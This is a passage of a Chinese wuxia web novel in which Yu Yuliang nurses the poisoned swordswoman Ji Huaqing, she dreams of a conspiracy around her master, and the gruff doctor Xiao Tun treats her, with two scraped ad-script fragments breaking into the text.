雨馀凉道:“……哦。”他这才想到,姬花青也中过诛仇指,若中了诛仇指就会变成那种样子,那姬花青…… 雨馀凉打了个寒战,不想再想象下去了。 雨馀凉又问道:“花青前辈,你为什么要用隐容术改变自己的样子?” 姬花青道:“因为很多原因。” 雨馀凉听她这么说,就知道她是不愿具体跟自己说明了。 姬花青道:“不过,自从换上了那身皮,倒是自在得多。有些人来和你交涉什么事,见你是女子,便大呼小叫,一副凶相,可变成一个身形高大的疤脸汉子后,对你说话就客气得多。” 雨馀凉听了她这话,突然间很有些难过,心想,难道这世界非要这么不公和无情?自己是男子,遇不到女子会遇到的一些情况,可不过是自己命好一些罢了,获得这种幸运,他一点也高兴不起来。 两人又聊了一会,便各自睡下。第二天早上,雨馀凉醒来,见姬花青还没醒,便在旁边坐着。可过了很长一段时间,姬花青依旧没有起身。 雨馀凉觉得有些不对劲了,他走到姬花青身边,不禁吃了一惊,只见姬花青额头鬓边渗出不少汗水,她双目紧闭,呼吸略微急促。 雨馀凉忙轻摇姬花青胳膊,叫道:“花青前辈,花青前辈。” 姬花青缓缓睁开眼睛,道:“我……有些难受,今天怕是……晚点才能赶路了……” 雨馀凉见姬花青行动不便,眼下两个人都只能靠还能活动的自己,油然而生出一股豪气,向姬花青道:“前面不远处有个市集,我去看看有没有早点摊子,买些馒头花卷,或豆浆油条回来。” 片刻后雨馀凉回来,双臂捧了满怀,姬花青看他将东西一一放下。他想得周到,怕一样吃食不合姬花青胃口,馒头、花卷、米糕、包子、油条、豆浆,每样都买了一些。 姬花青向来不爱吃馒头花卷,觉得没什么味道,口感又难以下咽,油条要好些,不过也差不多。便拿了包子和米糕,一样吃了一个,就没胃口再吃。雨馀凉劝她多吃一些,见姬花青实在不愿再吃,就又拿来豆浆让她喝,姬花青抿了一口也喝不下了。 之后姬花青就处于断断续续昏迷的状态,雨馀凉一直守在她身边照顾。四天后,姬花青再次陷入长久的昏迷,雨馀凉摸了摸她被高烧烧得滚烫的额头,不禁心下忧虑。 41. 访医(一) 六年前,水西,姜棘山。 姬花青奉教主之命去到姜棘山清理门户,不想半路杀出个程咬金,只听那人在窗外意态闲闲道:“这里好热闹啊,不过过年嘛,就应该热闹。” 照水帮三当家成进似是忽然看到了希望,忙望向窗外,一迭声道:“英雄,英雄,救我们!” 大门砰的一声朝两边打开,一股劲风卷着屋外的枯叶、尘土吹进屋内,带动屋内众人的头发向后拂去。 瞬息之间的功夫,那人已不在窗外,而是来到了门口。 只见一道潇洒俊逸身影从门外走进,那是一名男子,劲装结束,背悬长剑,眉宇间英气逼人。 成进立马起身朝那男子奔去,他也不管自己的后背要害是不是完全暴露于姬花青面前,只觉得只要到了那男子身边,就能得到后者的庇护。 只见白光一闪,鲜血从成进体内迸射出来,喷溅在一旁的柱子上。 照水帮众人纷纷惊呼,白光又闪,三名照水帮帮众的惊呼声便戛然而止。 就这样只过得片刻,照水帮剩余的帮众便被这名男子全部杀死。 下手之干脆,手法之迅疾凌厉,饶是先前才料理完韩长泉和照水帮二当家的姬花青也是心中一惊。此人将人都杀完后,背对姬花青看着满地尸体道:“这样一来在下与姬右使的对话就不会有旁人听到了,在下对右使没有敌意,还请右使放松些。” 在他背后,温青邈已站在了供桌上,手紧紧握着方才杀死韩长泉与二当家的长刀刀柄。 见姬花青没有回应,那人轻轻叹了口气,转过身来,道:“右使何必如此?在下方才将这些人解决了,也算是帮助右使完成玄同教交给右使的事。” “虽说这是右使在玄同教做的最后一件事了。” 他这句话刚说完,只觉劲风扑面,一刹那间,姬花青便已闪身来到了他面前,他堪堪格开姬花青中宫直进的一刀,姬花青的第二刀、第三刀便源源而至,霎时间,姬花青横削竖劈,已出了二三十招,那人却也逢山开路、遇水搭桥地格挡了二三十招,中途没有半分阻滞。姬花青暗暗心惊,向后跃开,落在供桌上,问道:“你究竟想干什么?” 那人见姬花青收手,也没有追上去继续缠斗,而是站在原地对姬花青说道:“在下是来告诉右使一件事。” “一件事?” 男子点点头,道:“在这之前,请容许在下先自我介绍。在下姓岑,名俨之。” 姬花青道:“岑俨之?你是岑氏家主。” 岑氏乃江湖上赫赫有名的武林世家,其前代家主岑微明更是担任过水西的掌盟。那时,岑氏一族的辉煌达到顶峰,岑微明以后,岑氏便渐渐衰落。 岑俨之微笑道:“正是。” 姬花青道:“请问岑先生要告诉我何事?” 岑俨之道:“姬右使,你忠于你师父,辛辛苦苦为他办事,但你所做的一切,并不值得。” 姬花青眼神陡然凌厉起来,握刀的手复又收紧,道:“阁下何出此言?” 岑俨之呵呵笑道:“你师父是玄同教主,普天之下,与玄同教主修练同一门武功的只有你。玄同教主本不喜收徒,但他要修炼一门十分高深的功夫,就必须用到与他修炼同一门武功的人的血肉筋骨练功。在下这么说,姬右使听明白了吗?” 姬花青道:“你是说,我师父要用我的血肉筋骨练功?” 岑俨之道:“正是。” 姬花青道:“你为何专程过来告诉我这些?” 岑俨之轻笑出声:“在下不忍看见如此惨剧的发生。当然,在下也有私心,希望将这一重要的消息告诉右使后,右使能够帮在下做一些事。” 姬花青微微冷笑道:“你以为我会轻易就相信你说的?你不过是用无稽之谈挑拨我们师徒关系罢了,胆敢再胡言乱语,当心你的命。” 岑俨之叹道:“唉,为何真话无人相信,谎言却遍地横行?”他摇摇头,“人人都受用于假话,所以世道才这么不堪。” 姬花青道:“你用什么证明你说的是真的?” 岑俨之笑道:“我知道此师父非彼师父,此教主非彼教主。” 姬花青骤然神色大变。 她厉声问道:“你究竟是谁?” 岑俨之道:“岑氏家主。” 堂内死一般的寂静,一阵凛风刮过,将残破的木窗吹得哗哗作响。 若说姬花青心内丝毫没有动摇,那是假的。 岑俨之方才提到的,若是外人来听自然一头雾水,可姬花青身在玄同教,知道岑俨之的哑谜指的是什么。 这确实是玄同教从不外传的密辛。 而教主最近也确实有种种反常举动,并且这些举动似乎只是针对她一个人的。如果说教主是背着她筹划什么事,也由不得她不信。 再加上,近来发生的其他一些事,亦让她倍感心烦受挫,同时让她对自己从小在其中长大的玄同教产生了一些别的想法。 想到这里,一股惧意攀爬上了她的脊背。 尽管心血如沸,姬花青表面仍是淡淡的,她道:“业师待我恩重如山,你凭什么觉得我会因为你这样说就背叛他?就算事实真如你说的那样,我这条命本就是他捡回来的,他要取了去,我自也无怨言。” 岑俨之哈哈哈笑了三声,道:“可若一个人收留另一个人,抚养她长大,教她武功,从一开始就是为了要拿她炼药,这也算‘恩’吗?”一双眼睛如利剑毒蛇,向她投来的眼神既雪亮,又狠辣。 姬花青转过头,抬眼望着前方冷冷道:“背叛?我没有那个胆子,一旦被他发现,我都不知道我会怎么死。”这个“他”,自然是指她师父玄同教主。 想到玄同教主的心机与手段,姬花青更是疑惑,这个秘密是怎样泄露了出去?问岑微明道:“你究竟为什么会知道这些?” 岑微明道:“知道这些,自是有渊源的,右使不妨跟我去见一个人,他会告诉你一切,并为你提供庇护。玄同教的规矩,在下也略知一二,右使若贸然离教,玄同教会怎么做?想必右使比我清楚。虽然说出来姬姑娘不会信,但岑氏是有能力与现在的玄同教抗衡的,只不过为了掩人耳目才隐敛锋芒。再不济,至少也可以保住姬姑娘。” 若他说的是事实,那么自己继续待在教中,岂不是坐以待毙,等着师父拿她炼药?别说她的武功不及教主十之一二,教中其他人也个个是好手,倘若单打独斗都还有脱身的可能,若是多人围攻,自己便要身首异处。回去是死路一条,而选择离教,虽说以后的日子将步步维艰,但终归是有生的可能,况且眼前这人说他会庇护协助自己,尽管这人的具体目的不明,但依眼前情形,也只得走一步看一步了, 然而最关键的问题,还是事实真相到底如何。既然如此,她就跟眼前这人走一趟,看看他带自己见的人究竟是谁,而那人又会跟她说些什么,这之后她再做出自己的判断。 自己回到教中是死,那么前方纵然龙潭虎穴,也不得不闯了。 于是姬花青一路跟随岑俨之,后者果然将她带到了岑氏山庄。 岑俨之要带她去见的人所在的地方不是待客的大厅,也不是布置雅致的书房,而是后山一座幽暗的黑塔。 这座塔虽然处在山庄内荒僻的一角,但出人意料地,塔内打扫得十分干净,并无蛛网灰尘。 岑俨之带着姬花青绕着回环的阶梯一层层往上走,来到最顶层后,穿过数条狭窄的走道,最终来到一间小室中。 小室中黑黢黢的,只靠旁边两个极小的小窗透进些光来,让人知道外面还是白天。其实,那小窗与其说是窗,不如说是窄缝。 就在姬花青都要以为这是个陷阱时,忽听见有人道:“俨之,你来了。” 姬花青吃了一惊,循声望去,这才看到阴影中似乎有一个人。她随即感到有些毛骨悚然,在如此密闭的空间中,自己竟没有注意到第三个人的呼吸声。 岑俨之道:“是,俨之来了。”言语动作间尽是恭敬。 姬花青想,岑俨之是岑氏家主,并且在如今还活着的岑氏子弟中,他也已经是辈分最大的了,那么在岑氏山庄,谁还值得他这个家主这么毕恭毕敬地讲话?这样的人,又怎会待在这种荒僻幽暗的地方? 一时间,姬花青只觉处处不合理,处处透着诡异。 那人道:“这位就是客人吗?嗯,玄同教的右使者。” 姬花青心中一凛,那人说到她身上了,岑俨之道:“是,我把她带来了。” 那人道:“本来想请右使坐,但这个地方,呵呵,实在没什么椅子之类,只好委屈右使站一会了,或者右使不嫌脏的话,也可以坐地下。” 姬花青道:“我站着就好。” 这人的嗓音特别,听起来十二万分的舒服。慵懒,却又高贵至极,优雅至极,是一种无法用言语形容的好听。 “开始讲故事之前,我要好好看看,如今的右使者究竟是怎样一番模样,跟寇仅谆相比,是比得上还是不及?俨之,把灯点上。” 岑俨之把灯点上后,借着灯光,姬花青终于看清了那人的模样。 那人比她想象中年轻,比她想象中英俊,英俊得多。能让岑俨之如此尊敬,姬花青一开始以为是个老者,不想这人看上去不过四十岁左右。不像很多到了他这个岁数的男人,油腻,不修边幅,身上长了赘肉。这人身上的一切都跟那些男人是相反的。 他盘腿坐在地上,姬花青不知是因为光线 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 还是什么原因,他从衣衫下露出的四肢肤色似乎有些不太一致。 那人看着姬花青道:“你可知你师父是谁?” 姬花青道:“……是玄同教主康忱守。” 那人呵呵呵地笑了起来,笑了一阵后,他道:“你这句话拿去诓别人,可以,但诓不了我,你师父是裴秉延。” 裴秉延何许人也,姬花青知道这个人,不仅因为他大名鼎鼎,而且因为他是玄同教的创教教主。 裴秉延作为将水南搅得天翻地覆的一代枭雄,后世的武林人士对他的评价并不是很高。 可裴秉延在世的时代,距现在都差不多一百多年了。她方才说自己的师父是玄同教主康忱守,这句话虽然不完全是实话,但她也十分清楚,自己的师父哪里是裴秉延。她是师父的徒儿,还能不知道自己师父是谁吗? 这人莫不是个精神错乱的疯子? 那人道:“你不相信,是不是?我知道你轻易不会相信,因为这件事实在太违背常理。”他又道:“如今的玄同教主,表面上看去是康忱守,可真正掌控玄同教的,实际上另有其人。同样地,玄同教人人都道你是教主的徒弟,却不知此教主非彼教主。” 姬花青本来不欲再听他胡言乱语,却也没有离开,因为有一点他说得分毫不差。 康忱守的确只是表面上的教主,而也确实是她师父在暗处主理着玄同教,但这件事,教内只有包括康忱守在内的极少的人只道。教众知道她是教主的徒弟,也只道她是康忱守的徒弟。 可她师父名叫穆禾,并不是百年前那个裴秉延。 那人道:“当年,裴秉延挟持水西武林盟主,在水西翻手为云覆手为雨,岑微明身为当时的掌盟,自然要扶持盟主,最终岑微明将他杀死,再将他的尸体锁在深潭之下。” 他说的这些,是一段水西武林人人都知道的历史。 “却不料他是用计假死,近百年过去了,他一直在等待机会回来复仇。” 姬花青背上覆了一层细汗,道:“你为何会知道这些?” 那人森然道:“我当然知道,因为我就是岑微明!” 一股强烈的恐惧攫取了姬花青的心脏。 四周的景象一下坍塌了,所有的声音突然破碎交杂起来。 姬花青猛地睁开双眼。 她盯着床帐顶出了半天神,才颤抖着将胸腔中的一口气缓缓呼出。 突然,她想起了什么,忙将右手伸进左边袖子里一阵摸索,摸到那个圆筒状的东西后,紧绷的神经这才放松下来。 这是哪?客栈吗? 她举起右手,看了看自己的手心手背。 一道清甜的声音从旁边传来:“姑娘醒啦?” 姬花青躺在床上侧头看去,只见一个约莫十四五岁的黄衫少女端着一只木盘从门口走进来,她将木盘放在一旁的小几上,对姬花青无比灿烂地笑道:“姑娘,你身上感觉怎么样了?” 她的衣衫是那种特别明净的黄色,让人眼前骤然一亮。 姬花青心想:“这是谁?”一边注意自己身体的感受,只觉之前烦闷欲呕的感觉荡然无存,身体已经跟正常的时候一样了,就是口有点干。于是道:“我好多了。” 那黄衫少女听她这么说,显得十分高兴,道:“哎呀,我就说我师父的医术是顶高明的,那些大夫谁都及不上。”她见姬花青慢慢坐起身,赶紧上前把枕头竖起来,再让姬花青靠在上面。 黄衫少女继续喋喋不休:“我师父说,三分治七分养,平日里就要照料好身体,平时肆意胡来,等得病时再到处求医问药,可不是傻么?唉,其他大夫看不惯我师父,一起在背后说我师父坏话,哼,那没什么,我师父还不稀罕和他们在一块呢。哦,关于姑娘的病,我师父说医治起来有些棘手,但对他来说也不是什么大问题。” 那少女声音脆如黄莺,姬花青听她话语中左一个“我师父”,右一个“我师父”,低下头看着床上的被子,有些出神。 “我师父还说,不知道这个人都去哪里鬼混过,一身的毛病……”她说到这,意识到自己失言,不好意思地对姬花青笑了笑,突然又道:“啊对了,我是来给姑娘送药的,刚才只顾着说话,差点忘了。”她将木盘里的药碗端到床边,姬花青双手接过。 姬花青捧着药碗,盯着碗里的药汁看了一会,最终还是喝了下去。 那药极苦,姬花青喝了一口含在嘴里,说什么都难以下咽。好不容易吞咽下去,却苦得她浑身抖了几抖。 姬花青道:“我是怎么到这里来的?应该有个少年跟我一起……” 黄衫少女听她提起雨馀凉,止不住地咯咯笑起来,笑了一阵,才道:“那位公子,现在正铲大粪呢。” 42. 访医(二) 雨馀凉不知道是不是所有牛粪都这么臭,但这几头牛的粪便奇臭无比,闻了一次就终生难忘。 他将最后一铲子大粪铲装进竹筐里。铲了几天,终于铲够了五十箩筐。 数天前,姬花青又一次昏迷,并且很长时间都没醒来。雨馀凉觉得不能再这样下去,必须做点什么。于是他背着姬花青,马不停蹄地来到一座镇子上四处访医。 但每一家医馆的大夫看了后都束手无策,只是摇头。 雨馀凉背着姬花青,从镇子东边跑到西边,从南问到北,最后有人告诉他,镇子北边的竹林中,住着一个大夫,或许可以到那里问问。 雨馀凉谢过这人,将背上的姬花青往上提了提,朝镇子北面赶去。他又焦急又疲惫,没注意到那人欲言又止的表情。 那人其实想说,那竹林中的大夫脾气古怪,就算去了也未必肯治。 等雨馀凉来到竹林,已到了晚上,天空繁星闪烁,一轮皎月升上蓝黑色的夜空。 他在竹林中转了半天,也没看见有什么屋子,更别说大夫了,耳边唯有足底踏在竹叶上发出的细碎声音。 不知不觉间,雨馀凉已经走进了竹林深处。他突然停下脚步,往身后看去,一阵不安逐渐升上心头。 他似乎忘记来时是怎么走的了。 难道那人骗了自己?竹林中其实并没有什么大夫,而如今自己又困在了这里。 雨馀凉想,是就此回头去找来时路,还是再继续往前走?万一自己再往深处走走就找到大夫了呢?可要是找不到大夫,自己再往深处走,到时候就越发出不去了…… 正拿不定主意时,一道清脆的女声在背后响起:“你是来找人的吗?” 雨馀凉连忙回头,只见一个小小少女站在自己身后,她梳着双鬟,身着黄色的衫子,背上背着一个竹筐。 雨馀凉这么久终于见着了一个活人,忙道:“我来找大夫。” 那黄杉少女在黑夜中闪闪发亮的眼珠看了看他身后背着的姬花青,道:“跟我来。”说着转过身去,径往前走。 雨馀凉心中一动,连忙跟上。 那黄杉少女七拐八弯,雨馀凉不知她是如何记得这么复杂的路线的,周围并没有什么帮助认路的标识。走了一阵,忽然看见前方隐隐有黄光现出,再绕过一丛竹子,眼前赫然出现几间竹舍,以及竹篱笆围着的院落。 黄光正是从最中间的竹舍中透出。 黄杉少女领着雨馀凉进了院子,到竹舍跟前,她对雨馀凉道:“你先在这里等。”说着便掀开门前竹帘走了进去,雨馀凉则站在屋外,心想:不知这次这个大夫可有办法医治花青前辈? 正思虑间,忽听得竹舍内有人大吼道:“我不治!让他们找那些庸医去!” 雨馀凉被吓了一跳,却听那少女道:“师父,您就看一看嘛。” 屋内寂静了一阵。 毫无征兆地,有人粗暴地一掀帘子走出屋外,大踏步直向雨馀凉走来。 那人如此气势汹汹,雨馀凉甚至觉得他下一刻就会掏出一把大刀向自己砍来。 他也不招呼雨馀凉,直接拉起姬花青的手就开始把脉。 这时那黄衫少女也从屋里走了出来。 那人一开始眉头紧皱,一副极不情愿的样子,把着把着,忽然“咦”了一声,雨馀凉见他眉头似乎微微舒展开了一些。 雨馀凉想:“难道大夫便是这人了?” 趁这人把脉时,雨馀凉也开始细细观察起眼前这人来。这是一名老者,头发花白,胡子也花白,穿着一身洗得发白的粗布衣裳,身周缭绕着一股淡淡的草药气息。 过了一会,这老者的手依然搭在姬花青腕上,但他已经没有不耐烦地皱眉了,取而代之的是一副认真思虑问题的表情。只见他一会伸出另一只手去抚摸胡子,一会轻轻“嘶”一声。 雨馀凉见他把脉把了这么久,眼神无意间和那黄衫少女相接,只见后者对他无声地比了个口型:“有戏。” 老者撤手回身,仿佛在生气一般道了声:“进来!”说完便走进了屋中。 那老者进屋后,雨馀凉依然站在原地,过了一会,老者暴躁的声音从屋中传出:“进来啊!”那黄衫少女忙向雨馀凉比了个进屋的手势,雨馀凉这才赶紧背了姬花青进屋,一开始他还以为这老者是让黄衫少女进去。 走进屋内,老者示意黄衫少女让雨馀凉把姬花青放在一边的榻上,道:“本来,我是不打算救这个女子的。” 说了这句话后,他发现雨馀凉还杵在那,便瞪着雨馀凉道:“坐啊!这儿这么多把椅子,你为什么不坐?” 雨馀凉道:“哦,哦……”忙在一张椅子上坐了。 老者这才继续道:“但我刚刚替她把了脉,发现她脉象奇特,这可有点意思,我以前还没见过。普天下的疑难杂症,我可不允许有我萧吞治不好的,你之前带她去看过其他大夫是不是?” 雨馀凉心想:“原来这老大夫叫萧吞,人怪,名字也怪。”道:“是,去看了镇子上的大夫,可镇上的医馆都跑遍了,也无人能治。” 萧吞哼了一声,道:“那起子庸医,又能看出什么了?”他看向雨馀凉,道:“你就把她放我这,让我来治。” 原来萧吞一生全身心地钻研医术,看见疑难罕见病例,往往喜不自胜,拼尽全力也要搞清楚病因、病理,并试出合适的药方才肯罢休,是一名医术极高明,脾气却也极古怪的大夫。 黄衫少女元夕在一旁对雨馀凉道:“你可来对地方了,我师父是大名鼎鼎的神医……” 萧吞喝道:“夕儿!多说什么!” 元夕伸了伸舌头,又笑嘻嘻道:“师父,这么有趣的病人可是我给您找来的,您说,要怎么奖赏夕儿?” 萧吞没有理会她,只对雨馀凉道:“天下没有白来的好处,你既找我救人,就得按照我的规矩……” 雨馀凉忙道:“我有银子。” 萧吞怒道:“没人要你那臭银子!”他似是对雨馀凉打断自己说话极其不满,暴躁道:“我这里养了几头牛,在我医治这女子的这段时间,你就去铲它们的粪便,铲满五十筐就行了。” 雨馀凉越听越心惊,心道:“什……什么?铲大粪?而且什么叫五十筐……就行了,就行了?那可是五十筐!”但为了姬花青能恢复如初,雨馀凉面上仍微笑着,道:“好的。” 元夕笑着道:“好耶!这几天终于不用我铲了!” 好在这些牛能吃能拉,每次拉时量还特大,五十筐只用了几天就铲满了。 雨馀凉觉得自己这几天已经被腌入味了,只想先好好洗个澡。 不过除去其他的,这些牛倒是温顺。他摸摸一头花牛的脑袋,那花牛正埋头在食槽里吃东西,被雨馀凉一摸,抬起头看向他,发出“哞”的一声。 正在这时,他看见萧吞背着手朝自己走来,便向萧吞点点头招呼道:“萧大夫。” 萧吞道:“那女子是你什么人?” 雨馀凉被这么一问,也不知道要怎么答。 姬花青教了他很多东西,对他态度也很和善,比谷州刀派的师父以及师伯师叔们不知好了多少倍。 他曾想拜姬花青为师,然而姬花青却坚决不让他称自己为师父,也不让他行拜师大礼,只道他有不会的可以问自己,至于结为师徒那是不必了。 雨馀凉一时间心念电转,道:“她是……我的前辈朋友。” 萧吞嗯了一声,道:“你朋友旧疾不少。” 雨馀凉怔愣了一下:“……旧疾?” 萧吞见他知之甚少的样子,也不多言,转身进了安置姬花青的那间竹舍里面。 雨馀凉见状,来不及洗手,忙跟了进去。 一进屋,便看见黄衫少女元夕也在,而姬花青已经从床上坐了起来。雨馀凉惊喜交加,道:“花青前辈!” 姬花青看见雨馀凉,面露微笑道:“馀凉。”她又见元夕对萧吞恭敬叫道:“师父。”便知这位就是这几日医治自己的大夫,方才元夕已经将雨馀凉几天前把她带到这里来的过程大致讲了一遍,于是对萧吞道:“多谢大夫医治。” 萧吞不应,只是走到床边,对姬花青道:“伸手我看。” 姬花青道:“好的……请问是那只手?” 萧吞有些不耐烦道:“没说就是两只一起。” 姬花青道:“好……好的。”说着双臂一齐前伸。 萧吞道:“……把袖子捞起来。” 姬花青把袖子捞起。 萧吞道:“啧,捞高。” 姬花青不敢违逆,把袖子又往上捞了一些。 萧吞微微弯腰,低头仔细端详了一会姬花青的双臂,道:“前段时间受的新伤已经好得差不多了。” 姬花青知道这伤是自己之前硬接连江和万克礼两掌,之后又马上击碎大石导致筋肉所受的损伤。那之后她便感到左右小臂酸软无力,就连长刀也几乎提不起来。念及此,她双手握了握拳,只觉两臂不仅不再发酸发软,力量似乎也恢复了。 萧吞道:“你手臂还受过一次大的旧伤,但用药敷好了,是不是?” 姬花青道:“……是,萧大夫医术高明,这也看了出来。” 萧吞道:“那一次,你双臂是为利器所伤,创口不像剑或枪,应当是刀。” 雨馀凉听萧吞这么一说,也往姬花青手臂上看去,果见她双臂上有几处淡淡的疤痕,左右两边大臂小臂都有。 除疤痕外,雨馀凉注意到她左边上臂还绑着一根红色的细绳,细绳末端系着一根小小的竹管。 他第一次注意到姬花青广袖下系着这样的东西,也没多想,只猜测这是护身符一类的东西,就跟自己的长命锁一样。 萧吞道:“贯穿伤,至少十刀。” 姬花青道:“十四刀,刀刀贯穿。” 一旁的雨馀凉和元夕听了,都不由得倒吸了一口气。 萧吞道:“是用的什么药?那种程度的伤,你双臂竟没有废掉,如今还能恢复成这样,相当不容易。” 姬花青道:“用补天膏每日敷上创口,如此敷了大半年。” 萧吞摸着胡子道:“嗯……补天膏,怪不得……”他顿了顿,“补天膏确是好药,但十分难得,只因其用到的一味原材料极其稀少,那原料水南、水西、水东三地加起来每年都只能得这么一瓶。”说着食指和拇指掐出大约两三寸的长度。 雨馀凉听了惊讶地张嘴,元夕直接“啊”的一声轻呼了出来。 他继续道:“这样珍贵的药,竟能给你每天用于这么大一片伤口,还用了大半年,你是什么来历?” 姬花青一时不答,似乎有些为难。 萧吞看出了姬花青不便回答这个问题,也没有一定要知道答案,只道:“手臂的问题说完了,再说其他的问题。你经脉有严重受损的痕迹,另外,你身上还有两种蛊毒,两种都极其霸道。” 雨馀凉听萧吞说姬花青身上有两种蛊毒,“蛊毒”二字,使他身体微微一颤,他想到了在谷州府看到的那些如僵尸般的狱卒,难道姬花青也会变得和他们一样? 姬花青道:“我曾经被一种十分邪门的功夫打中过,那是一门指法,叫什么‘诛仇指’。那一指戳来时,看上去只是极其普通的一指,然而一被戳中,我体内的真气即刻紊乱,经脉也开始不受控制地剧震,最终承受不住,经脉俱断。” 萧吞道:“我不懂武功,无法帮你分析那招指法。只是你经脉断成那样,又是怎么还能运使内功的?难道跟你身上的蛊毒有关?” 姬花青道:“正是!”她目光飘向窗外,“对一个习武之人来说,经脉俱损便意味着武功尽失,可是……可是我还不能失去武功,我听闻蛮疆有一种蛊,这种蛊虽有剧毒,却能够接续断裂的经脉。我……我还听闻蛮疆有另一种蛊,这种蛊虫可以吞食其他蛊虫。我便想,如果我先后将两种蛊虫种入体内,只 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 要把握好时机,是不是可以既能将经脉接好、恢复武功,又能让那有剧毒的蛊虫被另一种蛊虫吞吃,自己不至于中毒而死呢。” 姬花青继续道:“我运气好,前一种蛊难得,后一种更是连蛮疆的蛮人一生中都难见到,可两样蛊都被我弄到了手。我将两样蛊种入体内后才知道,原来那能吞吃其他蛊虫的蛊,本身也是有不小的毒性的。接续经脉的蛊虫虽被吃掉,但余毒留在了我体内,万幸的是,两种蛊虫的毒性似乎能够稍微相互抑制,所以我身上虽有两种毒,毒性发作起来时却不怎么厉害。种下蛊后的这几年,我潜心修炼,至今为止功力倒是恢复到之前的六七成了。只是经脉断裂后再修补起来肯定比不上完好的经脉,我虽能运使内力,但不能短时间内连续运功。这次身体产生这么大的反应,大约也是强行催动内力的缘故。” 姬花青还没说完时,萧吞便微露惊讶神色,轻轻摇头,待姬花青说完,萧吞更是连连摇头,不断说道:“简直胡来。”他居高临下瞪着姬花青道:“你能活到现在,也是不容易。我这几天帮你医好了手臂的新伤,也用了些针对你经脉的药,你以后连续运功应该没问题了。” 姬花青听萧吞这么说,简直大喜过望,道:“谢……”她才只说出了一个字,萧吞便冷冷打断她:“我不知道是什么原因让你对武功这么执着,不惜如此毁坏自己的身体,为了利么?为了名么?反正这个世上为了名利不惜牺牲一切的也不少。我只告诉你,那两样蛊毒在你体内这么多年,早已随血液在你全身脏器蔓延。若要拔出,只能用非常粗暴的法子,但你已经经脉寸断过一次,身子是受不住的。即使你身体受得住,毒也只能拔个五六成。我说这个的意思,便是告诉你,蛊毒我是没本事拔出来了,只能任由它们留在你体内。” 姬花青听了,倒也平静,低头对萧吞道:“萧大夫让我能重新连续运使内功,我已铭感五内。” 萧吞道:“你的身子,已经不能再由你胡来了,否则药石罔医。我话说到这,之后你要怎样随你,你是死是活也跟我没关系。再将养个两天,就走吧。”说罢头也不回地转身离去。 姬花青在萧吞背后道:“多谢萧神医。” 元夕见萧吞出去,对姬花青和雨馀凉道:“那我也先走了,这位姑娘刚醒,你们一定有话要说吧,我就不打扰啦。”说罢端起木盘,也走出了房间。 屋内一时安静下来。 姬花青对雨馀凉道:“馀凉,多谢你。” 雨馀凉一惊,一开始还没反应过来姬花青谢他什么,之后才不好意思地挠头,道:“这有啥?” 姬花青道:“那个时候的我,对你来说就是累赘,你可以把我扔下不管的,为什么带着我四处找大夫,还愿意去清扫牛粪?” 雨馀凉道:“花青前辈可是救过我很多次啊,我怎么能扔下花青前辈不管呢?还有啊……”他低下头,轻声道:“我能感受得出,花青前辈对我真的很好。” 姬花青道:“我对你不好,之前在破庙里,我还想杀你来着。” 雨馀凉道:“可你最终也没杀我。你对我……既温柔,又耐心,有时我哪一招总是练不好,好几次都以为你要生气了,你却总是跟我说没关系,让我慢慢来。” 姬花青默然半晌,只道:“也是你自己听话勤谨,且与我性子还算合得来,甚称我心意,我才肯这样对你说话。若你是那懒散顽劣的,我就随便教教,早将你打发走了。” 雨馀凉微笑道:“性子合得来,这也算是缘分了。”话说出口,他才觉得自己这句话说得有些不合适。 一股热意逐渐攀爬上脸颊,他知道自己脸红了,心想:“该死,该死,怎么这个时候脸红,这不是更让人误会了吗?”可他越是焦急,脸便红得越厉害。 若姬花青真是个男子,他倒还不至于这么尴尬。可这位跟自己一路同行的前辈,是位大姐姐啊…… 雨馀凉小心翼翼地瞄向姬花青,却发现姬花青的脸似是也红了。她看向一边,并不和雨馀凉对视。 一股尴尬的氛围在两人之间蔓延开来。 雨馀凉真想扇自己一个嘴巴子,让自己下次再也不乱说话。 他清了清嗓子,对姬花青道:“花青前辈,以后可不可以再教我一些刀法?比如无涯斩云诀什么的。” 姬花青道:“无涯……斩云诀?” 雨馀凉道:“就是我在大较上最后使的那招,你当时也看见的。” 姬花青道:“哦,你说的是斩云诀,我忘了你们是叫它‘无涯斩云诀’。”她这时想起,雨休跟她说起无涯派往事时,也说的是“无涯派的斩云诀。” 雨馀凉点点头道:“爷爷写的册子里,的确是叫“无涯斩风诀”,“无涯斩云诀”以及“无涯斩雷诀”,那几套刀法合称‘无涯三诀’。” 姬花青垂下眼道:“是吗……师父教我时,只说是‘斩风诀’,‘斩云诀’和‘斩雷诀’,并没有说前面有‘无涯’两字,我也从不知道它们合在一起叫做‘无涯三诀’。” 雨馀凉突然大是好奇,问道:“花青前辈,你师父……究竟是谁?” 姬花青只是摇摇头,并不回答。雨馀凉见她不愿说起,也就没有再问。 过了一会,雨馀凉看见姬花青望着窗外院子里的银杏树怔怔出神。 两天后,姬花青和雨馀凉继续赶路。离开萧吞居所前,雨馀凉看见萧吞正淘漉他这些天铲的牛粪,而元夕将那些淘漉了几次的牛粪分装在一个个小罐里密封好,雨馀凉微微吃惊道:“萧大夫,你们这是……” 元夕笑吟吟地跟雨馀凉和姬花青解释,原来这些牛尽是萧吞平时用药材饲喂,经过牛体内器官的消化,排出的粪便经过处理后就成了一味良药。 姬雨二人跟萧吞元夕师徒道别,萧吞仍是冷冷的,元夕却站起来,朝姬花青和雨馀凉挥手作别,雨馀凉见她一直挥着手,直到自己和姬花青的身影被越来越多的竹子挡住,那抹黄色的身影仍微微晃动着。 43. 走镖(一) 雨馀凉和姬花青一路往北,这一日来到了鸿州地界下的一个小镇。 转眼间已至春末,天气越来越热,姬花青和雨馀凉都换上了更薄的衣衫,姬花青依旧是一身黑衣,她似乎独独钟爱黑色的衣裳。 两人来到一家饭店打尖,小二才把茶端上来,忽听邻桌的人说道: “听说是清理门户把自己也给清理掉了。” 围在同一桌的另外几人都瞪大了眼睛,在一片夹杂着嘻嘻哈哈的惊诧声中,一人问道:“啥意思?怎么清理门户还把自己给清理了?” 那问的人还没说完,只说到第二个“清理”时,先前说话的那人就开口说道:“据小道消息,”他身体前伸,整个上半身都要趴在桌子上了,“灭门照水帮的不是卫氏,而是魔教的人,但那魔教妖人干完活后,不知出于什么原因,也叛离了魔教。魔教么,你们知道的,‘一入玄同,终生不得背叛’,因此那妖人自己也被魔教清理了。”虽然他刻意压低了声音,这些话还是传到了旁边桌子坐的雨馀凉耳中。 